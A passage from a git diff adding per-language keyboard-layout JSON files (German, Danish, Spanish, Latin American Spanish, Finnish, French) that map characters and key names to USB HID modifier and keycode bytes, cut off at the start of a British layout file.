"7":"02,00,24", + "8":"02,00,25", + "9":"02,00,26", + "0":"02,00,27", + "\\":"05,00,14", + "%":"02,00,2d", + "/":"02,00,2f", + "(":"02,00,30", + "'":"02,00,31", + "\"":"02,00,33", + "!":"02,00,34", + "?":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + "|":"05,00,1a", + "#":"05,00,1b", + "&":"05,00,06", + "@":"05,00,19", + "$":"05,00,33", + "*":"05,00,38", + "{":"05,00,05", + "}":"05,00,11", + "[":"05,00,09", + "]":"05,00,0a", + "~":"05,00,1e", + "^":"05,00,20", + "<":"05,00,36", + ">":"05,00,37", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "COMMAND-CTRL-SHIFT":"12,00,00", + "COMMAND-CTRL":"12,00,00", + "COMMAND-OPTION-SHIFT'":"12,00,00" +} \ No newline at end of file diff --git a/languages/de.json b/languages/de.json new file mode 100644 index 0000000..fe65926 --- /dev/null +++ b/languages/de.json @@ -0,0 +1,179 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "__comment":"German umlauts added by Simon Dankelmann", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "+":"00,00,30", + "#":"00,00,31", + "^":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "`":"02,00,2e", + "*":"02,00,30", + "'":"02,00,31", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,14", + "{":"40,00,24", + "[":"40,00,25", + "]":"40,00,26", + "}":"40,00,27", + "\\":"40,00,2d", + "~":"40,00,30", + "|":"40,00,64", + "COMMAND-CTRL-SHIFT":"40,00,64", + "COMMAND-CTRL":"40,00,64", + "COMMAND-OPTION-SHIFT'":"40,00,64", + "ß":"00,00,2d", + "€":"40,00,08", + "§":"02,00,20", + "ä":"00,00,34", + "ö":"00,00,33", + "ü":"00,00,2f", + "Ä":"02,00,34", + "Ö":"02,00,33", + "Ü":"02,00,2f" +} diff --git a/languages/dk.json b/languages/dk.json new file mode 100644 index 0000000..06a2ef0 --- /dev/null +++ b/languages/dk.json @@ -0,0 +1,168 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "+":"00,00,2d", + "'":"00,00,31", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "^":"02,00,30", + "*":"02,00,31", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "$":"40,00,21", + "{":"40,00,24", + "[":"40,00,25", + "]":"40,00,26", + "}":"40,00,27", + "|":"40,00,2e", + "~":"40,00,30", + "\\":"40,00,64", + "COMMAND-CTRL-SHIFT":"40,00,64", + "COMMAND-CTRL":"40,00,64", + "COMMAND-OPTION-SHIFT'":"40,00,64" +} diff --git a/languages/es-la.json b/languages/es-la.json new file mode 100644 index 0000000..2544993 --- /dev/null +++ b/languages/es-la.json @@ -0,0 +1,176 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "¿":"00,00,2e", + "´":"00,00,2f", + "+":"00,00,30", + "ñ":"00,00,31", + "{":"00,00,33", + "}":"00,00,34", + "|":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "¡":"02,00,2e", + "¨":"02,00,2f", + "*":"02,00,30", + "Ñ":"02,00,31", + "[":"02,00,33", + "]":"02,00,34", + "°":"02,00,35", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "\\":"04,00,2d", + "~":"04,00,30", + "^":"04,00,33", + "`":"04,00,34", + "¬":"04,00,35", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "COMMAND-CTRL-SHIFT":"12,00,00", + "COMMAND-CTRL":"12,00,00", + "COMMAND-OPTION-SHIFT'":"12,00,00" +} diff --git a/languages/es.json b/languages/es.json new file mode 100644 index 0000000..d10fef6 --- /dev/null +++ b/languages/es.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "+":"00,00,30", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "^":"02,00,2e", + "*":"02,00,30", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "|":"40,00,1e", + "@":"40,00,1f", + "#":"40,00,20", + "~":"40,00,21", + "[":"40,00,2f", + "]":"40,00,30", + "\\":"40,00,35", + "`":"40,00,35", + "{":"42,00,2f", + "}":"42,00,30", + "COMMAND-CTRL-SHIFT":"42,00,30", + "COMMAND-CTRL":"42,00,30", + "COMMAND-OPTION-SHIFT'":"42,00,30" +} \ No newline at end of file diff --git a/languages/fi.json b/languages/fi.json new file mode 100644 index 0000000..a8f894e --- /dev/null +++ b/languages/fi.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "+":"00,00,2d", + "'":"00,00,31", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "`":"02,00,2e", + "^":"02,00,30", + "*":"02,00,31", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "$":"40,00,21", + "{":"40,00,24", + "[":"40,00,25", + "]":"40,00,26", + "}":"40,00,27", + "\\":"40,00,2d", + "~":"40,00,30", + "|":"40,00,64", + "COMMAND-CTRL-SHIFT":"40,00,64", + "COMMAND-CTRL":"40,00,64", + "COMMAND-OPTION-SHIFT'":"40,00,64" +} \ No newline at end of file diff --git a/languages/fr.json b/languages/fr.json new file mode 100644 index 0000000..f8f82a9 --- /dev/null +++ b/languages/fr.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "q":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + ",":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "a":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "z":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "w":"00,00,1d", + "&":"00,00,1e", + "\"":"00,00,20", + "'":"00,00,21", + "(":"00,00,22", + "-":"00,00,23", + "_":"00,00,25", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + ")":"00,00,2d", + "=":"00,00,2e", + "$":"00,00,30", + "*":"00,00,31", + "m":"00,00,33", + ";":"00,00,36", + ":":"00,00,37", + "!":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "Q":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "?":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "A":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "Z":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "W":"02,00,1d", + "1":"02,00,1e", + "2":"02,00,1f", + "3":"02,00,20", + "4":"02,00,21", + "5":"02,00,22", + "6":"02,00,23", + "7":"02,00,24", + "8":"02,00,25", + "9":"02,00,26", + "0":"02,00,27", + "+":"02,00,2e", + "M":"02,00,33", + "%":"02,00,34", + ".":"02,00,36", + "/":"02,00,37", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "~":"40,00,1f", + "#":"40,00,20", + "{":"40,00,21", + "[":"40,00,22", + "|":"40,00,23", + "`":"40,00,24", + "\\":"40,00,25", + "^":"40,00,26", + "@":"40,00,27", + "]":"40,00,2d", + "}":"40,00,2e", + "COMMAND-CTRL-SHIFT":"40,00,2e", + "COMMAND-CTRL":"40,00,2e", + "COMMAND-OPTION-SHIFT'":"40,00,2e" +} \ No newline at end of file diff --git a/languages/gb.json b/languages/gb.json new file mode 100644 index 0000000..2fd45d8 --- /dev/null +++ b/languages/gb.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 